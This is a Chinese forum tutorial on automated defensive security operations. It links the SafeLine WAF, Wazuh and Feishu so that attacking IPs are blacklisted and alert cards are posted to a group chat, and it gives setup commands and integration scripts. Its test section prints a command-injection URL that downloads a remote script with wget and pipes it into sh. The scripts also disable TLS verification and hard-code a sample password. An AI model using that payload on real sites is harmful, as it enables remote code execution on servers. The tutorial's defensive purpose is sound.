主动化安全运营实操案例: 飞书 X Wazuh X 雷池WAF

打印 上一主题 下一主题

主题 978|帖子 978|积分 2934

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
一、背景

作为中小型企业的安全工程师,往往面对资源有限(没SOC/SOAR)、人手不足的环境,很可能1个人要负责运营公司所有安全产品(例如我)。为了提升安全运营的工作效率,我们必要办理以下问题:

  • 需避免频繁切换安全体系看日记
  • 需避免人工封禁IP的傻瓜式操作
  • 需将攻击详情以及处理告警实时通知到相关职员,并且方便随时讨论
本文重要介绍“Wazuh X 雷池WAF X 飞书”联动的场景,另外,现实工作中还能产生”Wazuh X 网络/安全装备 X 飞书"、”Wazuh X 服务器 X 飞书"、“Wazuh X 蜜罐 X飞书“的应用,以后有时间再逐个开坑做案例分享。
二、软件介绍

Wazuh 一款国外的SIEM平台,可以理解为安全版的ELK,具有日记统计分析、可视化、主机监控等功能。目前github有9.2k star,目前分为Saas版和开源版。
Wazuh分为Server端以及Agent,Agent可以对服务器举行日记监控、毛病检测、安全合规基线扫描、历程收集,集成Virus Total接口后可具备磁盘恶意文件检测能力。
本文中使用的是私有部署的开源版4.7.4,重要提供日记监控、下发指令主动处理的能力。
雷池waf 雷池(SafeLine)是长亭科技耗时近 10 年倾情打造的WAF,核心检测能力由智能语义分析算法驱动,目前分为社区版、专业版和企业版。
本文使用的是私有部署的社区版5.5.2,重要提供Web安全检测防护能力、产生安整日记。
飞书 一款字节跳动旗下的工作协同平台和IM软件,读者公司若使用钉钉、企业微信也可以达到一样结果。
本文使用的是贸易版7.15.9,重要用于接收告警通知和工作沟通,相比传统邮件的沟通方式更高效。
三、工作流程图


结果图


四、前置工作

4.1 服务器2台

Wazuh Server服务器:操作体系本文以CentOS 7.6为例,该服务器必要部署Wazuh Server以及处理python脚本,CPU、内存、硬盘要求可参考官方文档和下图:


雷池WAF服务器:32G内存,4核CPU,100G硬盘,操作体系本文以Rocky Linux 9.3为例,代替将要停服的CentOS7。该服务器必要部署雷池WAF以及Wazuh Agent。
4.2 安装Wazuh Server

Wazuh Server的组件以及功能非常多,还支持集群部署。由于篇幅问题本文不展开举行阐述,旨在快速部署环境。
运行官方一键安装脚本,建议挂魔法,避免安装过程失败。
  1. curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
复制代码
安装完成后会输出web访问地点和admin暗码,输入https://ip后即可访问wazuh的web界面。如果访问不了,请检查防火墙是否放开443端口。
  1. INFO: --- Summary ---
  2. INFO: You can access the web interface https://<wazuh-dashboard-ip>
  3.     User: admin
  4.     Password: <ADMIN_PASSWORD>
  5. INFO: Installation finished.
复制代码
如尚有安装问题,见官方安装文档并自行根据提示和日记举行排查。
4.3 安装雷池WAF


  • 安装docker
    1. #删除旧版本docker
    2. sudo yum remove docker \
    3.          docker-client \
    4.          docker-client-latest \
    5.          docker-common \
    6.          docker-latest \
    7.          docker-latest-logrotate \
    8.          docker-logrotate \
    9.          docker-engine
    10. #安装最新版本docker
    11. sudo yum install -y yum-utils
    12. sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
    13. sudo yum install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
    14. sudo systemctl start docker
    15. sudo systemctl enable docker
    复制代码
  • 安装雷池WAF
    1. CDN=1 bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
    复制代码
安装完成后,注意防火墙放开9443端口,初始账号为admin,暗码在安装完waf后会随机天生:

如尚有安装问题,见官方安装文档。
4.4 安装Wazuh Agent


  • 本地用欣赏器登录Wazuh Web管理界面:

  • 进入部署界面

  • 天生Wazuh Agent部署下令

  • 登录雷池WAF服务器,执行以下下令,安装Wazuh Agent。注意Wazuh Server的1514、1515端口要开放给雷池WAF服务器访问。
    1. curl -o wazuh-agent-4.7.4-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.4-1.x86_64.rpm && sudo WAZUH_MANAGER='192.168.31.24' WAZUH_AGENT_NAME='waf' rpm -ihv wazuh-agent-4.7.4-1.x86_64.rpm
    2. sudo systemctl daemon-reload
    3. sudo systemctl enable wazuh-agent
    4. sudo systemctl start wazuh-agent
    复制代码
4.5 安装飞书

官网直接下载飞书安装即可。
五、配置过程

5.1 雷池WAF配置


  • 本地欣赏器登录雷池WAF管理界面,根据本身公司的现实环境,添加要保护的域名,例如a.test.com

  • 添加一个自界说IP组,后面做黑名单用。

  • 添加一个黑名单,关联上一步创建的IP组。

  • 根据现实环境,配置雷池WAF的安全功能

5.2 雷池WAF服务器配置


  • 登录雷池WAF服务器,映射雷池pgsql数据库本地登录端口5432到宿主机,后续shell脚本必要登录数据库:
    1. docker stop safeline-pg
    2. systemctl stop docker
    3. vim /var/lib/docker/containers/$(docker ps --no-trunc | grep safeline-pg | awk '{print $1}')/hostconfig.json  ,#找到PortBindings,修改为以下配置"PortBindings":{"5432/tcp":[{"HostIp":"127.0.0.1","HostPort":"5432"}]},  
    4. systemctl start docker
    5. netstat -tnlp | grep 5432 #查看pgsql数据库的端口是否成功映射到宿主机
    复制代码
  • 获取pgsql数据库的暗码:
    1. cat /data/safeline/.env | grep POSTGRES_PASSWORD | tail -n 1 | awk -F '=' '{print $2}'
    复制代码
  • 创建.pgpass,后续通报暗码给shell脚本使用:
    1. vim /var/scripts/.pgpass,添加以下参数
    2. localhost:5432:safeline-ce:safeline-ce:abcd #把abcd替换成第2步中获取到的密码
    复制代码
  • 创建shell脚本,重要功能是天生syslog日记给wazuh监控使用:
    1. mkdir /var/log/waf_alert
    2. touch /var/log/waf_alert/waf_alert.log
    3. touch /var/scripts/waf_log.sh
    4. chmod u+x /var/scripts/waf_log.sh
    5. vim /var/scripts/waf_log.sh,添加以下代码
    6. #!/bin/bash
    7. # 设置PGPASSFILE环境变量
    8. export PGPASSFILE=/var/scripts/.pgpass
    9. # PostgreSQL 的连接信息
    10. PG_HOST="localhost"
    11. PORT="5432"
    12. DATABASE="safeline-ce"
    13. USERNAME="safeline-ce"
    14. HOSTNAME=$(hostname)
    15. PROGRAM_NAME="safeline-ce"
    16. #获取最后一条WAF攻击事件日志的ID,日志数据存储在MGT_DETECT_LOG_BASIC表中
    17. LAST_ID=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT id FROM PUBLIC.MGT_DETECT_LOG_BASIC ORDER BY id desc limit 1")
    18. while true;do
    19. #从pgsql数据库中获取waf的最新攻击事件日志,如果没有产生新日志,这条SQL会返回空
    20.     raw_log=$(psql -h $PG_HOST -p $PORT -U $USERNAME -d $DATABASE -t -P footer=off -c "SELECT TO_CHAR(to_timestamp(timestamp) AT TIME ZONE 'Asia/Hong_Kong', 'Mon DD HH24:MI:SS'), CONCAT(PROVINCE, CITY) AS SRC_CITY, SRC_IP, CONCAT(HOST, ':', DST_PORT) AS HOST,url_path,rule_id,id FROM PUBLIC.MGT_DETECT_LOG_BASIC where id > '$LAST_ID' ORDER BY id asc limit 1")
    21. #检查SQL查询结果,如果有新加的日志就执行以下操作,把SQL查询结果重写为syslog日志,并记录到/var/log/waf_alert/waf_alert.log
    22.     if [ -n "$raw_log" ]; then
    23.         ALERT_TIME=$(echo "$raw_log" | awk -F ' \\| ' '{print $1}')
    24.         SRC_CITY=$(echo "$raw_log" | awk -F ' \\| ' '{print $2}')
    25.         SRC_IP=$(echo "$raw_log" | awk -F ' \\| ' '{print $3}')
    26.         DST_HOST=$(echo "$raw_log" | awk -F ' \\| ' '{print $4}')
    27.         URL=$(echo "$raw_log" | awk -F ' \\| ' '{print $5}')
    28.         RULE_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $6}')
    29.         EVENT_ID=$(echo "$raw_log" | awk -F ' \\| ' '{print $7}')
    30.         syslog="src_city:$SRC_CITY, src_ip:$SRC_IP, dst_host:$DST_HOST, url:$URL, rule_id:$RULE_ID, log_id:$EVENT_ID"
    31.         echo $ALERT_TIME $HOSTNAME $PROGRAM_NAME: $syslog >> /var/log/waf_alert/waf_alert.log
    32. #更新最后处理的事件ID
    33.         LAST_ID=$(($LAST_ID+1))
    34.     fi
    35.     sleep 3     
    36. done
    复制代码
  • 后台运行监控脚本,并且添加开机启动:
    1. nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
    2. vim /etc/rc.local,添加以下代码
    3. nohup /var/scripts/waf_log.sh > /dev/null 2>&1 &
    复制代码
5.3 飞书配置

添加一个安全告警通知群和群呆板人,后面必要通过这个呆板人发告警卡片到群里。

选择自界说呆板人。

生存webhook地点,后面配置wazuh脚本要用。

5.4 Wazuh Server配置


  • 添加触发告警时调用的脚本,一共有2个文件,这是custom-waf文件,不用做任何修改
    1. touch /var/ossec/integrations/custom-waf
    2. chmod 750 /var/ossec/integrations/custom-waf
    3. chown root:wazuh /var/ossec/integrations/custom-waf
    4. vim /var/ossec/integrations/custom-waf ,添加以下代码:
    5. #!/bin/sh
    6. # Copyright (C) 2015, Wazuh Inc.
    7. # Created by Wazuh, Inc. <info@wazuh.com>.
    8. # This program is free software; you can redistribute it and/or modify it under the terms of GPLv2
    9. WPYTHON_BIN="framework/python/bin/python3"
    10. SCRIPT_PATH_NAME="$0"
    11. DIR_NAME="$(cd $(dirname ${SCRIPT_PATH_NAME}); pwd -P)"
    12. SCRIPT_NAME="$(basename ${SCRIPT_PATH_NAME})"
    13. case ${DIR_NAME} in
    14.     */active-response/bin | */wodles*)
    15.         if [ -z "${WAZUH_PATH}" ]; then
    16.             WAZUH_PATH="$(cd ${DIR_NAME}/../..; pwd)"
    17.         fi
    18.         PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
    19.     ;;
    20.     */bin)
    21.         if [ -z "${WAZUH_PATH}" ]; then
    22.             WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
    23.         fi
    24.         PYTHON_SCRIPT="${WAZUH_PATH}/framework/scripts/${SCRIPT_NAME}.py"
    25.     ;;
    26.      */integrations)
    27.         if [ -z "${WAZUH_PATH}" ]; then
    28.             WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
    29.         fi
    30.         PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
    31.     ;;
    32. esac
    33. ${WAZUH_PATH}/${WPYTHON_BIN} ${PYTHON_SCRIPT} "$@"
    复制代码
  • 这是封禁IP以及发飞书告警的python脚本custom-waf.py,我用的是centos自带的python 2.7.5,解释部分需更改为本身的信息:
    1. mkdir /var/log/waf/block_ip.log
    2. chown wazuh:wazuh /var/log/waf/block_ip.log
    3. chmod 644 /var/log/waf/block_ip.log
    4. touch /var/ossec/integrations/custom-waf.py
    5. chmod 750 /var/ossec/integrations/custom-waf.py
    6. chown root:wazuh /var/ossec/integrations/custom-waf.py
    7. vim /var/ossec/integrations/custom-waf.py ,添加以下代码:
    复制代码
    1. #!/usr/bin/env python
    2. import sys
    3. import json
    4. import ssl
    5. import requests
    6. import os
    7. import datetime
    8. import urllib3  
    9. from urllib3.exceptions import InsecureRequestWarning
    10. urllib3.disable_warnings(InsecureRequestWarning)
    11. def read_alert_file():
    12.     alert_file = open(sys.argv[1])
    13.     alert_json = json.loads(alert_file.read())
    14.     alert_file.close()
    15.     timestamp = alert_json['predecoder']['timestamp']
    16.     hostname = alert_json['predecoder']['hostname']
    17.     description = alert_json['rule']['description']
    18.     full_log = alert_json['full_log']
    19.     src_city = alert_json['data']['src_city']
    20.     src_ip = alert_json['data']['src_ip']
    21.     dst_host = alert_json['data']['dst_host']
    22.     dst_url = alert_json['data']['dst_url']
    23.     print(src_ip)
    24.     return timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url
    25. def login(host,username,password):
    26.     csrf_url = f"{host}/api/open/auth/csrf"  
    27.     response = requests.get(csrf_url, verify=False)
    28.     data = response.json()
    29.     csrf_token = data["data"]["csrf_token"]
    30.     login_data = {  
    31.         'csrf_token': csrf_token,  
    32.         'username': username,  
    33.         'password': password,  
    34.     }
    35.     login_url = f"{host}/api/open/auth/login"
    36.     response = requests.post(login_url,json=login_data,verify=False)
    37.     data = response.json()
    38.     jwt = data["data"]["jwt"]
    39.     return jwt
    40. def get_info(host,jwt):
    41.     url = f"{host}/api/open/ipgroup?top=1001"
    42.     headers={
    43.     "Content-Type": "application/json",
    44.     "Authorization": f"Bearer {jwt}"
    45.     }
    46.     response = requests.get(url,headers=headers,verify=False)
    47.     data = response.json()
    48.     ip_group_id = data["data"]["nodes"][-1]["id"]
    49.     ip_group_name = data["data"]["nodes"][-1]["comment"]
    50.     ips = data["data"]["nodes"][-1]["ips"]
    51.     ips_count = len(ips)
    52.     url = f"{host}/api/open/rule"
    53.     requests.get(url,headers=headers,verify=False)
    54.     return ip_group_id,ip_group_name,ips,ips_count
    55. def update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip):
    56.     url = f"{host}/api/open/ipgroup"
    57.     ips.append(src_ip)
    58.     headers={
    59.         "Content-Type": "application/json",
    60.         "Authorization": f"Bearer {jwt}"
    61.     }
    62.     body = {
    63.          "id":ip_group_id,
    64.          "reference":"",
    65.          "comment":ip_group_name,
    66.          "ips":ips
    67.      }
    68.     requests.put(url,json=body,headers=headers,verify=False)
    69. def create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip):
    70.     url = f"{host}/api/open/ipgroup"
    71.     ip_group_id = ip_group_id +1
    72.     ip_group_name = "black_ip_group_name-" + str(ip_group_id)
    73.     src_ip = [src_ip]
    74.     headers={
    75.         "Content-Type": "application/json",
    76.         "Authorization": f"Bearer {jwt}"
    77.     }
    78.     body = {
    79.          "reference":"",
    80.          "comment":ip_group_name,
    81.          "ips":src_ip
    82.      }
    83.     requests.post(url,json=body,headers=headers,verify=False)
    84.     return ip_group_id,ip_group_name
    85. def create_rule(host,jwt,ip_group_id,ip_group_name):
    86.     url = f"{host}/api/open/rule"
    87.     headers={
    88.         "Content-Type": "application/json",
    89.         "Authorization": f"Bearer {jwt}"
    90.     }
    91.     body = {
    92.             "action": 1,
    93.             "comment": ip_group_name,
    94.             "is_enabled": True,
    95.             "pattern": [{
    96.                     "k": "src_ip",
    97.                     "op": "in",
    98.                     "v": str(ip_group_id),
    99.                     "sub_k": ""
    100.             }]
    101.     }
    102.     requests.post(url,json=body,headers=headers,verify=False)
    103. def feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url):
    104.     headers={
    105.         "Content-Type": "application/json"
    106.     }
    107.     msg_data = {
    108.         "msg_type": "interactive",
    109.         "card": {
    110.             "header": {
    111.                 "title": {
    112.                     "tag": "plain_text",
    113.                     "content": description
    114.                 },
    115.                 "template": "red"
    116.             },
    117.             "elements": [
    118.                 {
    119.                     "tag": "div",
    120.                     "text": {
    121.                         "tag": "lark_md",
    122.                         "content": "**请注意:以下攻击源IP已加入黑名单。**" + "\n\n" + "**告警时间: **" + timestamp + "\n" + "**告警来源: **" + hostname + "\n" + "**攻击源地址: **" + src_city + "\n" + "**攻击源IP: **" + src_ip + "\n" + "**被攻击地址: **" + dst_host + "\n" + "**被攻击路径: **" + dst_url
    123.                     }
    124.                 },
    125.                 {
    126.                     "tag": "hr"
    127.                 },
    128.                 {
    129.                     "tag": "div",
    130.                     "text": {
    131.                         "tag": "lark_md",
    132.                         "content": "**原始syslog日志:**" + "\n" + full_log
    133.                     }
    134.                 },
    135.             ]
    136.         }
    137.     }
    138.     requests.post(webhook_url,json=msg_data,headers=headers)
    139.    
    140. def print_log(log_file_path,src_ip):
    141.     now = datetime.datetime.now()  
    142.     time_str = now.strftime('%b %d %H:%M:%S')  
    143.     log_template = "{time} prod-waf safe-line:{ip} has been blocked."
    144.     message = log_template.format(time=time_str, ip=src_ip)
    145.     log_file_path = log_file_path
    146.     with open(log_file_path, 'a') as log_file:  
    147.         log_file.write(message + '\n')
    148. def main(host,username,password,log_file_path,webhook_url):
    149.     timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url = read_alert_file()
    150.     jwt = login(host,username,password)
    151.     ip_group_id,ip_group_name,ips,ips_count = get_info(host,jwt)
    152.     if ips_count > 999:
    153.         ip_group_id,ip_group_name = create_ip_group(host,jwt,ip_group_id,ip_group_name,src_ip)
    154.         create_rule(host,jwt,ip_group_id,ip_group_name)
    155.     else:
    156.         update_ip_group(host,jwt,ip_group_id,ip_group_name,ips,src_ip)
    157.     feishu(webhook_url,timestamp,hostname,description,full_log,src_city,src_ip,dst_host,dst_url)
    158.     print_log(log_file_path,src_ip)
    159. host = "https://192.168.1.1:9443" #替换成WAF地址
    160. log_file_path = "/var/log/waf/block_ip.log"
    161. webhook_url = "https://open.feishu.cn/open-apis/bot/v2/hook/c742cec0-94e9-449b-8473-597b873" #替换成飞书机器人地址
    162. username = "admin"
    163. password = "123456" #替换成WAF密码
    164. if __name__ == "__main__":  
    165.     main(host,username,password,log_file_path,webhook_url)
    166.     sys.exit(0)
    复制代码
  • 添加Wazuh Server解码器
    1. touch /var/ossec/etc/decoders/safeline-waf-decoders.xml
    2. chmod 660 /var/ossec/etc/decoders/safeline-waf-decoders.xml
    3. chown wazuh:wazuh /var/ossec/etc/decoders/safeline-waf-decoders.xml
    4. vim /var/ossec/etc/decoders/safeline-waf-decoders.xml,添加以下代码:
    复制代码
    1. <decoder name="safeline-ce">
    2.   <program_name>safeline-ce</program_name>
    3.   <regex>src_city:(\.*), src_ip:(\.*), dst_host:(\.*), url:(\.*), rule_id:(\.*), log_id:(\d+)</regex>
    4.   <order>src_city,src_ip,dst_host,dst_url,rule_id,log_id</order>
    5. </decoder>
    复制代码
  • 添加Wazuh Server告警规则
    1. touch /var/ossec/etc/rules/safeline-waf-rules.xml
    2. chmod 660 /var/ossec/etc/rules/safeline-waf-rules.xml
    3. chown wazuh:wazuh /var/ossec/etc/rules/safeline-waf-rules.xml
    4. vim /var/ossec/etc/rules/safeline-waf-rules.xml,添加以下代码:
    复制代码
    1. <group name="syslog,safeline,">
    2.   <rule id="119101" level="7">
    3.     <decoded_as>safeline-ce</decoded_as>
    4.     <match>a.test.com</match>#a.test.com替换成在waf上配置保护的域名
    5.     <description>入侵事件:a.test.com</description> #这里可以修改为自己喜欢的内容,这个信息最终会呈现到飞书消息卡片的标题上
    6. </rule>
    复制代码
  • 修改Wazuh Server的ossec配置
    1. vim /var/ossec/etc/ossec.conf,添加以下代码:
    2.   <integration>
    3.     <name>custom-waf</name>
    4.     <rule_id>119101</rule_id>
    5.     <alert_format>json</alert_format>
    6.   </integration>
    复制代码
    如图

  • 重启Wazuh Server,使所有配置见效
    1. /var/ossec/bin/wazuh-control restart
    复制代码
5.5 Wazuh Agent配置


  • 登录雷池WAF服务器,配置ossec监听waf_alert.log日记文件
    1. vim /var/ossec/etc/ossec.conf ,添加以下配置
    2.   <localfile>
    3.     <log_format>syslog</log_format>
    4.     <location>/var/log/waf_alert/waf_alert.log</location>
    5.   </localfile>
    复制代码
    最后如图

  • 重启Wazuh Agent,使ossec配置见效
    1. systemctl restart wazuh-agent
    复制代码
六、大功告成,测试结果

对网站举行漏扫大概输入攻击测试语句,触发告警,查看拦截结果,例如
  1. https://a.test.com/view.php?doc=11.jpg&format=swf&isSplit=true&page=||wget%20http://spotslfy.com/wget.sh%20-O-|sh
复制代码
飞书告警卡片,群里的相关职员都可以看到非常清晰的消息卡片

雷池WAF IP黑名单,可以看到攻击源IP 47.1.1.1已经主动添加

当攻击者想再次尝试访问网站,已经被拦截

如果想统计一共封了多少个黑名单IP,可以直接查看日记
  1. cat /var/log/waf/block_ip.log
复制代码


七、发散思维

由于个人精神有限,关于飞书告警其实我尚有2个想法没实现,有兴趣和开辟能力的同学可以继承探索:

  • 为了避免误封IP,其实推送到飞书的卡片消息可以增加两个交互按钮:“确认封禁IP”,“忽略”,当点击“确认封禁IP”时才触发封禁IP,同时发送一条处理结果到群里做通知。
  • 告警信息推送到飞书群后,现在是无法做统计分析的。飞书多维表格有基础的excel能力以及强悍的主动化流程能力,经过经心的表格字段筹划、主动化流程配置和API开辟,可以作为低本钱的安全数据中心和SOAR使用,例如定期推送安全周报到飞书安全工作群、定期汇总恶意IP清单并推送给安全装备等。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

风雨同行

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表